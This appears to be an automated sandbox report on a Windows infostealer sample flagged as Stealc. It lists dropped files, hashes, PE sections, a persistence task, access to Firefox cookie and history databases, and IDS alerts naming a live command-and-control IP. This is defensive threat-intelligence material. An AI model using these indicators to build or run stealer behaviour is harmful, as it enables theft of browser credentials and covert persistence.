Preview:	L..................F.@.. ...$+.,....=B...R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.x...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.006479933202833
Encrypted:	false
SSDEEP:	48:8x9dITsUsHCidAKZdA14tseh7sFiZUkmgqeh7sf5y+BX:8xYv3n3y
MD5:	EE53357B3E41BE20496859F7D907FC4C
SHA1:	821305E165A5BC20C40957F8B98E8A3198011849
SHA-256:	4ED760E68CEC080A27CE090DD1F74354DF2DD81D8EEBC5B112E4FF22AD759796
SHA-512:	ED6BE82B7B9DBB9B98EDB41C9FCF9EFA83E7756CFB1F7B9942ED3D4701CA54A6D3D75B171E79456A31BF99DF349A78BABADF279F5E5942AB2DBF2F3C5207742A
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:06:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9923221484261933
Encrypted:	false
SSDEEP:	48:8UdITsU4HCidAKZdA1vehDiZUkwqehl5y+R:8bv45y
MD5:	B77CABC60BCDAFBE4DBB000677F1C6BD
SHA1:	FCAD2FA87C9B73B18ABCE63025961A888A6ADE1E
SHA-256:	3CD02347053652E4C076131584225D1A87F9AFE64A04F6B599C184E3BC90616F
SHA-512:	B1D16418C6A71E2CF6EE14D7C3257B4CB60C34FD987CDCB7D9D9A05EA9114C941D43FAD859ABEE3A46DF26A983A22D7C57AE080CAA4C91BA52B6462505FB5659
Malicious:	false
Preview:	L..................F.@.. ...$+.,....M}...R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.x...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:06:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.981673012880012
Encrypted:	false
SSDEEP:	48:8wdITsU4HCidAKZdA1hehBiZUk1W1qehb5y+C:8Hvo9ly
MD5:	B4602012159FCDDAC363C813CAA6BD6E
SHA1:	D6888645D5E42873051A3D81237132D3A1FC9E11
SHA-256:	F8EA9905AD308C90940EEA17F3FE36AD28845B89EF8301F5B70D77D51C3F3D72
SHA-512:	A992288E533E673C18940856C89513EC1DCFDC9A6892F13FD89C83FC062896AAED462C335D0C3A8D93D7C59740F3AAEAE68A7F77EA6AD067CF1507BC6B0D44FF
Malicious:	false
Preview:	L..................F.@.. ...$+.,....!i...R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.x...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 14:06:31 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9935000926428934
Encrypted:	false
SSDEEP:	48:8WdITsU4HCidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbd5y+yT+:8xvGT/TbxWOvTb3y7T
MD5:	0B52F39D1AF5D432ABE3C757DF7A1352
SHA1:	7EAF1B126683280FDD4772E206EA789DC2EAE9E0
SHA-256:	BA39981DFB376575CF08F41CC39F5E044F4743FAAA7FB5B7612630B619468DF2
SHA-512:	0C3AAC93AE99DF206204FD1FE3C5283410E33D5049F42BD6DB336546D4A527CF9BB97788B5CB8E23DE8EB880088B047ED300844C13C3A4345BC039B1E569EEA7
Malicious:	false
Preview:	L..................F.@.. ...$+.,.........R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.x....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.x....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.x....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.x..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.x...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............j......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\gdi32.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018614001\py8tmzb.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	632832
Entropy (8bit):	7.116073509660282
Encrypted:	false
SSDEEP:	12288:+SIJX6OfuErGNkYn1rLFqlGQwhRu1NabGCc:+5JIF1rLUlGDhRSN
MD5:	D939EC65552B73ADA4D06DF2A849FBED
SHA1:	4F9F9313B5AE795F113096DE9A694EE9A27E7CFD
SHA-256:	D2DFE0536DAD1B272FC89A394C9ECCDA2547AD45C07E0CD342A46A0B78D597D5
SHA-512:	52F0AE2EB3AF11E438CD522E7D85F74D333B4453A0782D24F29CFB3C8FFCB57788F89EE65B946BA2BEE7FF5FE5A2C88E35EFCC018183785D52EF6006807EAC7B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........b.....................A..................{w....................................................Rich...........................PE..L....}eg...........!.....l...D............................................................@.............................\|...\|...P................................)..\|...................................@...............T............................text....k.......l.................. ..`.rdata..Re.......f...p..............@..@.data...............................@....reloc...).......*...~..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\EHJKKKFIIJ.exe

Download File

Process:	C:\Users\user\Desktop\R2CgZG545D.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2990592
Entropy (8bit):	6.57845694226229
Encrypted:	false
SSDEEP:	49152:l9PJuLnwLwJL6OBkiP4hpzl9h+q+GJNXu:l9PILnwLwJL6OBMRvdN
MD5:	9D38889192A887E1128EC41DD417FB6D
SHA1:	BF6B8A7C9EA4519EE2B4233375B9CF2CC9C7840B
SHA-256:	B23ADB76C30005DC9D5391FD1F1218B36B6B0CB85B63F5CB9AEEB0CB01D77963
SHA-512:	D4E8AEE2C1318E34537D0803F137282B5E9EC58B9A8113E38E8576F0808066F5A690149EA97F720D02642645E85EDEBA5C1DC482E6D730DA25CB99CAF604C8E3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....&.....@.................................W...k.............................1.............................d.1..................................................... . ............................@....rsrc...............................@....idata ............................@...ascqmpzr..........................@...vkonyklc.....@1......z-.............@....taggant.0...P1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\EHJKKKFIIJ.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3951431924039532
Encrypted:	false
SSDEEP:	6:LobtVVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lut0:SRuQ1CGAFifXVut0
MD5:	380203CB8B5BA51FFE0B3BF426F842ED
SHA1:	6AE189C8D21153E183032F30330D2677731A435F
SHA-256:	ADAC60EED3249C9DE33E665E8C0C42A8273D377D0163C2FD9F7D1AD137A9525C
SHA-512:	22C18011DC1ABD200123AA5D5EE85A1AD91638A1728B9D392A5040033DE73D95C8EB9FF390BD25E6F866C6D2013448E96AD360840E716FA919992BFA21C27666
Malicious:	false
Preview:	......s...E......TF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (847)
Category:	downloaded
Size (bytes):	852
Entropy (8bit):	5.146943559477206
Encrypted:	false
SSDEEP:	24:teCEQYIhTSywBHslgT9lCuABATXQuoB7HHHHHHHYqmffffffo:tnEgTSywKlgZ01BAEuSEqmffffffo
MD5:	D3CBEF818F5B2643D403A68E16B6D10A
SHA1:	4E2ADD8B837CFABB6D60A55C37845A5AA3DE7FC3
SHA-256:	4B94AF050243F0A637278D008E4F879212DFDB5B116A5A6F4533356B98713572
SHA-512:	9B1F57C6BCC045EAB5C69507B15D43219B1D3E0CF865D68DD5EC1EFACF24B6B9FB1F2ACE53FC6CF0E0265358E1F41D8DA7F9FD8F49A59583159A771017B1F378
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["crush 40 sega lawsuit","nasa astronaut stuck in space","nuna rava car seat recall","pitt louisville volleyball score","too turnt federal court","wisconsin heavy snow forecast","gift express token monopoly go","penn state nebraska volleyball game"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":-2231081684114072483,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132739
Entropy (8bit):	5.4366666149836345
Encrypted:	false
SSDEEP:	3072:fvkJQ7O4N5dTm+syHEt4W3XdQ4Q6huSr/nUW2i6o:fqQ7HTt/sHdQ4Q6hDfUW8o
MD5:	95128C107CF34BA10DD395839F11DFDC
SHA1:	B4164B792E4AE7F11A308E35459819B3AB370D48
SHA-256:	DE019B77C38624B451806C2CDE725BFF0A8E0C44EB5C926E6E046B986FB6E7DA
SHA-512:	2D41371EF93AAA782378358E39F3462D62E3179F9532C7FC94D9B4C12C9373FF3FCFA60689572EA5C330C1A86F28B083BF47A90433DABCF9DD39354E1086FFD2
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.46746226462919
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	R2CgZG545D.exe
File size:	2'917'888 bytes
MD5:	e48ca69b3f439cf66679ffe60efd564f
SHA1:	fb466d0297ee39819d14dffb99c69bab52dcef4b
SHA256:	c9b2322743d3daf2d975110637d09f00bf2481eae2a447f718cf53696eac35c4
SHA512:	529b1693ab4415484b20a9fa0bd6a7d7ca017da3341abebf900be63425fa77d9d2296b7506059696e383307d24ec4ecb7f6e3936551248642cc7ff71d0aca194
SSDEEP:	49152:vI2DfcBpykrnsgz+yNjY4FW886n/c0ueHnS:vI2Dfo/ns4+yNjYMW74se
TLSH:	34D54BA2F58AB5CFE88A26789527CE925B9C06B94B1108C39C2C64BF7E77CC115F5C34
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d...d...d.....s.\|.....F.i.....r.^...m.[.g...m.K.b.......g...d.........w.w.....E.e...Richd...........PE..L....dTg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8fc000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67546419 [Sat Dec 7 15:04:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6145187FEAh
pcmpgtb mm5, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6145189FE5h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16800	b26e99f387dfa01f4f880f9178e1d207	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1f0	0x200	9536d2b3a2eda870e2407104c9596139	False	0.576171875	data	5.048164681214948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lalofjun	0x24c000	0x2af000	0x2ae200	d30a9edf6e0c37c9d7a1157439ecfb2f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ccythcdc	0x4fb000	0x1000	0x600	5d45e52bb58e1ce10297e299d4a30801	False	0.6126302083333334	data	5.261838810530447	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4fc000	0x3000	0x2200	fbb2c087e87ba1cca96e48d8e4db8d64	False	0.10259650735294118	DOS executable (COM)	1.2332530021858892	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x24a058	0x198	ASCII text, with CRLF line terminators			0.5833333333333334

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T16:06:22.812909+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-20T16:06:23.254080+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-12-20T16:06:23.375976+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-12-20T16:06:23.701817+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
